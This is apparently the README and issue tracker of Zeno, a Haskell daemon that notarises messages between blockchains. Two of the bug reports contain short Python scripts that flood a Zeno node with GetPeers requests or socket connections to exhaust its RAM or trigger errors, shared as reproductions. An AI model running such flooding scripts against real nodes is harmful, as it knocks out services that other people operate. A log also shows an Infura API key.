ssadler / zeno

Multiprotocol cross chain daemon

Zeno

Zeno is a notariser that enables a POA group to copy messages between blockchains.

It gets a members list from an Ethereum contract, and those members participate to propagate merkle roots and PoW proofs between blockchains, using threshold n-of-m signatures.

Many of Zeno's components are built from scratch, including:

• A lightweight stateless POA consensus prototocol & P2P discovery.
• Ethereum data structures including transaction, ABI, closed Patricia merkle trie.
• ZCash Sapling transaction support.
• An Ethereum Solidity contract to proxy calls from a multisignature group.

Public Key cryptography provided by bindings to Secp256k1 from bitcoin-core.

Building

On Ubuntu 18.04:

sudo apt-get install libsecp256k1-dev pkg-config
curl -sSL https://get.haskellstack.org/ | sh
git clone https://github.com/ssadler/zeno
cd zeno
stack install

If you are building libsecp256k1 yourself, configure with --enable-module-recovery.

Why "Zeno"?

The name is from the Greek philosopher, Zeno of Elea.

What does it do?

Zeno coordinates a group of signatories to act as an oracle and deliver messages between blockchains.

It includes a simple consensus mechanism (with caveats), and code to interact with several different blockchains, currently including Komodo, Ethereum, and theoretically Bitcoin and ZCash.

How does consensus work in Zeno?

The consensus process is a round comprised of many steps, where each step represents voting on a particular topic, or selecting a proposer when there's no obvious way to get a determinable result.

However, the limitation of the consensus process is that currently it does not provide any kind of finality, or solve the two generals problem. Zeno is itself stateless and relies on the chains it is posting messages to to provide finality instead. So at a given point in time, it can query the blockchain for the last recorded action and resume from that point.

InventoryMessage

Inventory, in general terms, is the set of votes from each member, so it's a mapping of member address to (signature, payload).

The inventory message is a tuple of {Index}{Request}{Inventory}.

Index: a bitmask* advertising available inventory, in case peers want to query us for it.

Request: a bitmask* requesting inventory.

Inventory: A list of {20 bytes member address}{payload}, where the payload depends on the StepNum.

• The bitmask is a bigint (encoding TBD) where each bit corresponds to the index of an address in the members list, which is sorted and supposed to be the same for all peers.

zeno's Issues

Proposer can not submit tx and fallback proposer will not be invoked

[23:27:39][Debug] Proposer is: 0x3057f61121595e26ce5b5c29e76c15bf4259b8f4                                   
[23:27:39][Info] Proposer will submit: 0xc2116a5dee98c05f6b782b952e47d0f05d148df65612b3639d21ec923b893a8d   
[23:28:09][Info] Timeout: Round cee664b471e6 (TXSCLZ3.10374 ⇒  ROPSTEN)                                     
[23:28:13][Debug] Found notarisation on ROPSTEN for TXSCLZ3.10359                                           
[23:28:14][Debug] Proposer is: 0x3057f61121595e26ce5b5c29e76c15bf4259b8f4                                   
[23:28:14][Info] Proposer will submit: 0xc2116a5dee98c05f6b782b952e47d0f05d148df65612b3639d21ec923b893a8d   
[23:28:44][Info] Timeout: Round cee664b471e6 (TXSCLZ3.10374 ⇒  ROPSTEN)                                     
[23:28:49][Debug] Found notarisation on ROPSTEN for TXSCLZ3.10359                                           
[23:29:09][Debug] Proposer is: 0x3057f61121595e26ce5b5c29e76c15bf4259b8f4                                   
[23:29:10][Info] Proposer will submit: 0xd4d18b5fd422b0c6c4b5708b45dca86927a06038586fd7efd6751ccfd44755f7   
[23:29:40][Info] Timeout: Round 347cfdd4d26d (TXSCLZ3.10377 ⇒  ROPSTEN)                                     

Can try to repeatedly connect to a node

Below you can see a netstat output from a node that was having an issue with connections getting repeatedly opened and closed. The numbers in the left column of the image indicate that there is data being spammed.

User also said that they had to press ctrl+c twice to exit. This sounds like something getting stuck.

Maybe relavent: OS is a Proxmox Debian 10 vm

Invalid peers can get stuck in member list

This should not be a difficult one to solve, @Alrighttt has a script which connects to a zeno node and can send an invalid reply port which ends up getting stuck in the node's peer list. Reproduction pending.

Submit exception can temporarily block process

If there is an error with a transaction after runConsensus, the round will not get cleared and when a repeat is attempted it will get blocked. Fix: submit transaction inside runConsensus.

Tries to repeat previous round sometimes

The kmd block interval in the config is 5, but we had 45 notarisations in an hour, and the block should be roughly one minute each. Also the log suggests that the block interval is not being respected:

[02:31:04][Error] Thread "step: ProcessId 0a428dc90912ddc72e608235736245ee" died with: TopicIsRegistered ProcessId
...
[02:28:55][Info] New round: 0a428dc90912 (kmd@29365 ⇒  eth)                                              
[02:28:57][Info] Proposer will submit: 0x41749c30254b0c63d348d4f3f5a3314e55f38da9aeb8f626c3cb9df093e0f254
[02:31:04][Info] Transaction confirmed                                                                   
[02:31:04][Info] New round: 0a428dc90912 (kmd@29365 ⇒  eth)  

RAM leak from GetPeers spam

#!/usr/bin/env python3
import binascii
import gevent
import struct
from gevent import socket


def init_peer(peer, port):
    sends = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sends.connect(peer)
    sends.sendall(b'\0' + struct.pack('>H', port))
    while True:
        sends.sendall(binascii.unhexlify(b'00000011e4dfbbb9aeaff2c844181d5f031f2cac00'))

PEER = ('<target IP>', <target port>)

if __name__ == '__main__':
    what = []
    what.append(gevent.spawn(init_peer, PEER, 8888))
    gevent.joinall(what)

This seems to induce a ram leak on the target node. It does not require the attacking node to listen on any port. This script can be ran many times in parallel to increase effectiveness.

After running about 10 instances of this script for ~15 minutes, the RAM usage of the target node increased to ~3.7gb and remained there until the node was restarted. This node's notarization performance decreased drastically after this attack was performed.(round timeouts and listunspent timeouts)

This attack is asymmetrical in that the attacking node can send 100000s of GetPeers requests very quickly, and the target node will respond to every single request not nearly as quickly. While the target is responding to these requests, the CPU usage will be remain very high.

Invariant violated: no value in mreceivers for ip

[Error] Invariant violated: no value in mreceivers for ip

This error message can be reproduced with the following script. It is simply rapidly opening then closing sockets with the target.

#!/usr/bin/env python3
import socket
import binascii

def spam(peer):
    sends = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sends.connect(peer)
    sends.close()

target = ('<target IP>', <target port>) # your target 

while True:
    spam(target)

Detect external IP

There are different options for getting external IP:

1. Via config params
2. Ask other peers (have to ask many)
3. Ask an external service (reliable?)

To be clear, the reason to do this is so that there isn’t an extra connection open to self.

Include process ID in all step signatures

We could receive an object that looks legit but is from another step / round. It's necessary to include the process ID in the signature.

ConsensusTimeout should not be an Error

Should probably be an ExceptT rather than an actual Exception

Zeno not properly closing sockets

I am seeing multiple CLOSE_WAIT connections in netstat from the network's seed node.

Please see https://stackoverflow.com/questions/15912370/how-do-i-remove-a-close-wait-socket-connection for an explanation of CLOSE_WAIT.

These connections get stuck indefinitely until zeno is restarted. This may be related to #8 . Please let me know if you need me to consistently reproduce this.

error from ETH api: replacement transaction underpriced

[01:04:16][Error] Json RPC: (https://ropsten.infura.io/v3/bd54c1b7d144428ebb3243791e1426ea,"{\"jsonrpc\":\"2.0\",\"params\":[\"0xf9036d821eff85010c388d008307a120940e27bd633c31aae55079ee41e01579e2333e3cb280b9030423974c68000000000000000000000000c1d1425954cfb3d005743215d68c63fe227bf83d000000000000000000000000000000000000000000000000000000000000568b00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000180000000000000000000000000000000000000000000000000000000000000022000000000000000000000000000000000000000000000000000000000000002c000000000000000000000000000000000000000000000000000000000000000841a29fd70000000000000000000000000000000000000000000000000000000000000568b00fa281ddf250a803029e466512c206398e2671659cdc89f0fd6d999bf8fc4a600000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004492d2b0f8f8dcf7bd5ff354656c8395d0ebf6708f6ebf3b596261e8d9b01542e86cb93680664ddd6f1a29f0fded2dbbe511e36c967dc4ede34e45471846c0b5e3023beb48ff2f7bbd51aafc86f5ad833fd4b2268c8529b1fee3ffbc7dc2bd763f9bf9529229cbcadb7addf23736c98f31e9eceb907a870681c9787ad3e0a1bbd0000000000000000000000000000000000000000000000000000000000000004303e662d834d60b66408751e2f4a344cb87c022ab530f3a7abe40a5b80adb95a4cb14000ea778fba3b6af5831c082f90aa6fb156501c90be95d3d48bcbf5d20847b7bc8611d3a6bfd62a1f4315652eea1ec6c8b1291c745a168b378aaefd1e35098e8b557534eaeee1fb2b5800dbb4ac90deaa5178b3eebb83eaff025d1b64b000000000000000000000000000000000000000000000000000000000000000041b1b1b1b000000000000000000000000000000000000000000000000000000002aa06b7c6734e8c640be969188b8e1ae4d4cae952711fe45666f4fb2c0495914150aa00f6c9f92fe0668d2df0e393feabe86690cc896f611072effabb905f1fe706306\"],\"method\":\"eth_sendRawTransaction\",\"id\":1}")
[01:04:16][Error] Thread died with: RPCException "{\"code\":-32000,\"message\":\"replacement transaction underpriced\"}"
[01:04:16][Warn] RPCException "{\"code\":-32000,\"message\":\"replacement transaction underpriced\"}"

Tx id: 164bfa9c1a062a22acf2618455478245777ee0daa0d918605395cfb32580b12d

GetPeers spammed on startup

On startup of a node, the node will spam GetPeers requests to each peer until the node receives a peer list packet from the peer. The issue is that the peer seems to respond with the peer list as many times as the node requested it. I've seen this result in as many as 40 duplicate peer lists being sent back to the node.

Attached at the bottom of this is a packet dump that demonstrates what it is happening.

Take note of the packets with payload of 00000011e4dfbbb9aeaff2c844181d5f031f2cac00 and their timestamps. This is the node requesting a peer list from the peer.

Also take note of the 'count': 14, packet. This packet is violating the networking protocol and seems to have multiple duplicate payloads stuffed into it. This is may be a separate issue altogether, but it does seem related.

[{'ascii': "b'\\x00\\x9d\\xf8'",
  'count': 3,
  'dst': '<PEER>:40440',
  'payload': '009df8',
  'src': '<NN>:60446',
  'time': '1591016667.962045446'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 4,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962122820'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 5,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962180934'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 6,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962196965'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 7,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962219910'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 8,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962238675'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 9,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962286372'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 10,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962321340'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 11,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962352007'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 12,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.962390302'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 14,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac0000000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016667.985558620'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 26,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.002611074'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 27,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.002793890'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 28,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.002959846'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 29,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.003886723'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 30,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.003951921'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 31,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.004090417'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 32,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.004159109'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 33,
  'dst': '<PEER>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<NN>:60446',
  'time': '1591016668.004271561'},

 {'ascii': "b'\\x00\\x9d\\xf8'",
  'count': 36,
  'dst': '<NN>:40440',
  'payload': '009df8',
  'src': '<PEER>:49094',
  'time': '1591016668.010145228'},

 {'ascii': "b'\\x00\\x00\\x00\\xbb\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f116.203.120.163\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c159.69.10.44\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e195.201.20.230\\x9d\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c46.255.254.2\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c88.99.206.68\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e95.216.204.220\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r<PEER>\\x9d\\xf8'",
  'count': 38,
  'dst': '<NN>:40440',
  'payload': '000000bbe4dfbbb9aeaff2c844181d5f031f2cac010000000000000007000000000000000f3131362e3230332e3132302e3136331e56000000000000000c3135392e36392e31302e34341e56000000000000000e3139352e3230312e32302e3233309df8000000000000000c34362e3235352e3235342e321e56000000000000000c38382e39392e3230362e36381e56000000000000000e39352e3231362e3230342e3232301e56000000000000000d39352e3231372e3232332e39369df8',
  'src': '<PEER>:49094',
  'time': '1591016668.010202836'},

 {'ascii': "b'\\x00\\x00\\x00\\x11\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x00'",
  'count': 40,
  'dst': '<NN>:40440',
  'payload': '00000011e4dfbbb9aeaff2c844181d5f031f2cac00',
  'src': '<PEER>:49094',
  'time': '1591016668.010284802'},

 {'ascii': "b'\\x00\\x00\\x00\\xbb\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f116.203.120.163\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c159.69.10.44\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e195.201.20.230\\x9d\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c46.255.254.2\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c88.99.206.68\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e95.216.204.220\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r<PEER>\\x9d\\xf8'",
  'count': 42,
  'dst': '<NN>:40440',
  'payload': '000000bbe4dfbbb9aeaff2c844181d5f031f2cac010000000000000007000000000000000f3131362e3230332e3132302e3136331e56000000000000000c3135392e36392e31302e34341e56000000000000000e3139352e3230312e32302e3233309df8000000000000000c34362e3235352e3235342e321e56000000000000000c38382e39392e3230362e36381e56000000000000000e39352e3231362e3230342e3232301e56000000000000000d39352e3231372e3232332e39369df8',
  'src': '<PEER>:49094',
  'time': '1591016668.010306486'},

 {'ascii': "b'\\x00\\x00\\x00\\xbb\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f116.203.120.163\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c159.69.10.44\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e195.201.20.230\\x9d\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c46.255.254.2\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c88.99.206.68\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e95.216.204.220\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r<PEER>\\x9d\\xf8'",
  'count': 44,
  'dst': '<NN>:40440',
  'payload': '000000bbe4dfbbb9aeaff2c844181d5f031f2cac010000000000000007000000000000000f3131362e3230332e3132302e3136331e56000000000000000c3135392e36392e31302e34341e56000000000000000e3139352e3230312e32302e3233309df8000000000000000c34362e3235352e3235342e321e56000000000000000c38382e39392e3230362e36381e56000000000000000e39352e3231362e3230342e3232301e56000000000000000d39352e3231372e3232332e39369df8',
  'src': '<PEER>:49094',
  'time': '1591016668.010376256'},

 {'ascii': "b'\\x00\\x00\\x00\\xbb\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f116.203.120.163\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c159.69.10.44\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e195.201.20.230\\x9d\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c46.255.254.2\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c88.99.206.68\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e95.216.204.220\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r<PEER>\\x9d\\xf8'",
  'count': 46,
  'dst': '<NN>:40440',
  'payload': '000000bbe4dfbbb9aeaff2c844181d5f031f2cac010000000000000007000000000000000f3131362e3230332e3132302e3136331e56000000000000000c3135392e36392e31302e34341e56000000000000000e3139352e3230312e32302e3233309df8000000000000000c34362e3235352e3235342e321e56000000000000000c38382e39392e3230362e36381e56000000000000000e39352e3231362e3230342e3232301e56000000000000000d39352e3231372e3232332e39369df8',
  'src': '<PEER>:49094',
  'time': '1591016668.010446175'},

 {'ascii': "b'\\x00\\x00\\x00\\xbb\\xe4\\xdf\\xbb\\xb9\\xae\\xaf\\xf2\\xc8D\\x18\\x1d_\\x03\\x1f,\\xac\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f116.203.120.163\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c159.69.10.44\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e195.201.20.230\\x9d\\xf8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c46.255.254.2\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c88.99.206.68\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e95.216.204.220\\x1eV\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r<PEER>\\x9d\\xf8'",
  'count': 48,
  'dst': '<NN>:40440',
  'payload': '000000bbe4dfbbb9aeaff2c844181d5f031f2cac010000000000000007000000000000000f3131362e3230332e3132302e3136331e56000000000000000c3135392e36392e31302e34341e56000000000000000e3139352e3230312e32302e3233309df8000000000000000c34362e3235352e3235342e321e56000000000000000c38382e39392e3230362e36381e56000000000000000e39352e3231362e3230342e3232301e56000000000000000d39352e3231372e3232332e39369df8',
  'src': '<PEER>:49094',
  'time': '1591016668.010491124'}]

UI improvements / status bar

• show chains
• top level topic for round
• pass step name into step
• progress spinner for collector
• Only errors and txids in log

ie:
[id:05fade0084] [kmd@56947 ⇨ eth] [4/7: get proposed tx] [5 / 15 sigs ...]

Change notarisation scheme to async + self referential

Time all RPC calls

RPC calls should be timed, so that we will have some indication if any RPC call takes more than say, 100ms.

mandatory-script-verify-flag-failed (Script evaluated without error but finished with a false/empty top stack element)

[11:33:21][Debug] Proposer is: 0xc268dd444cd76d4a203acddbb8a235c7dac59bcb
[11:33:22][Info] Broadcast transaction: "bbbcc13c2fe5bc35d73f62b3d86036670eace759123dbc97e60c16a48dc2f6ed"
